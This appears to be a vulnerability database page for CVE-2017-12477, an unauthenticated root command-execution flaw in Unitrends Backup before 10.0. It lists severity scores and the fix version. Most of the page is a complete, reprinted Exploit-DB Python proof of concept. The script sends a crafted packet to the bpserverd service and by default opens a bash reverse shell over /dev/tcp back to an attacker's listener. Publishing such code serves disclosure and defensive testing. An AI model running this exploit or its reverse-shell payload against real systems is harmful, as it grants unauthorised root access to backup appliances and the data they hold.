CVE-2017-12477

critical
Published 2017-08-07 ยท Modified 2026-05-13
CVSS v3
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

It was discovered that the bpserverd proprietary protocol in Unitrends Backup (UB) before 10.0.0, as invoked through xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system.

Predictions

Exploit likelihood
97%
Patch ETA
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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42957 remote linux verified python ยท 5 KB
Jared Arave ยท 2017-08-08

Unitrends UEB 9.1 - 'Unitrends bpserverd' Remote Command Execution

python exploit Source: Exploit-DB
# Exploit Title: Unauthenticated root RCE for Unitrends UEB 9.1
# Date: 08/08/2017
# Exploit Authors: Jared Arave, Cale Smith, Benny Husted
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.unitrends.com/
# Software Link: https://www.unitrends.com/download/enterprise-backup-software
# Version: 9.1
# Tested on: CentOS6
# CVE: CVE-2017-12477

import socket
import binascii
import struct
import time
import sys
from optparse import OptionParser

print """
###############################################################################
Unauthenticated root RCE for Unitrends UEB 9.1
Tested against appliance versions:
  [+] 9.1.0-2.201611302120.CentOS6

This exploit uses roughly the same process to gain root execution
as does the apache user on the Unitrends appliance. The process is
something like this:

1.  Connect to xinetd process (it's usually running on port 1743)
2.  This process will send something like: '?A,Connect36092'
3.  Initiate a second connection to the port specified 
    in the packet from xinetd (36092 in this example)
4.  send a specially crafted packet to xinetd, containing the 
    command to be executed as root
5.  Receive command output from the connection to port 36092
6.  Close both connections

NB: Even if you don't strictly need output from your command,
The second connection must still be made for the command
to be executed at all.
###############################################################################
"""

# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
      "       %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
          help="Target host w/ UNITRENDS UEB installation")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
          help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
          help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
          help="Run a custom command, no reverse shell for you.")
parser.add_option("-x", '--xinetd', dest='xinetd', action="store",
          type="int", default=1743,   
          help="port on which xinetd is running (default: 1743)")

(options, args) = parser.parse_args()

if options.cmd:
  if (options.lhost or options.lport):
    parser.error("[!] Options --cmd and [--LHOST||--LPORT] are mutually exclusive.\n")

  elif not options.rhost:
    parser.error("[!] No remote host specified.\n")

elif options.rhost is None or options.lhost is None or options.lport is None:
  parser.print_help()
  sys.exit(1)

RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
XINETDPORT = options.xinetd

if options.cmd:
  cmd = options.cmd
else:
  cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)

def recv_timeout(the_socket,timeout=2):
    the_socket.setblocking(0)
    total_data=[];data='';begin=time.time()
    while 1:
        #if you got some data, then break after wait sec
        if total_data and time.time()-begin>timeout:
            break
        #if you got no data at all, wait a little longer
        elif time.time()-begin>timeout*2:
            break
        try:
            data=the_socket.recv(8192)
            if data:
                total_data.append(data)
                begin=time.time()
            else:
                time.sleep(0.1)
        except:
            pass
    return ''.join(total_data)

print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))

try:
  s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s1.connect((RHOST,XINETDPORT))
except:
  print "[!] Failed to connect!"
  exit()

data = s1.recv(4096)
bpd_port = int(data[-8:-3])

print "[+] Connected! Cmd output will come back on {}:{}".format(RHOST, str(bpd_port))
print "[+] Connecting to bpdserverd on {}:{}".format(RHOST, str(bpd_port))

try:
  s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s2.connect((RHOST, bpd_port))
except:
  print "[!] Failed to connect!"
  s1.close()
  exit()

print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
print "[+] '{0}'".format(cmd)

if (len(cmd) > 240):
  print "[!] This command is long; this might not work."
  print "[!] Maybe try a shorter command..."

cmd_len = chr(len(cmd) + 3)
packet_len = chr(len(cmd) + 23)

packet = '\xa5\x52\x00\x2d'
packet += '\x00' * 3
packet += packet_len
packet += '\x00' * 3
packet += '\x01'
packet += '\x00' * 3
packet += '\x4c'
packet += '\x00' * 3
packet += cmd_len
packet += cmd
packet += '\x00' * 3

s1.send(packet)

print "[+] cmd packet sent!"
print "[+] Waiting for response from {0}:{1}".format(RHOST,str(bpd_port))

data = recv_timeout(s2)

print "[+] Here's the output -> \n\n"

print data

print "[+] Closing ports, exiting...."

s1.close()
s2.close()

# 3. Solution:
# Update to Unitrends UEB 10
EDB-43031 remote linux_x86 verified
Metasploit ยท 2017-10-23

Unitrends UEB 9 - bpserverd Authentication Bypass Remote Command Execution (Metasploit)

Source code queued for fetch โ€” refresh in a moment.

Metasploit modules

Unitrends UEB bpserverd authentication bypass RCE
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
kaseyaunitrends_backup{"endExcluding":"10.0"}10.0

References

CWEs

CWE-287

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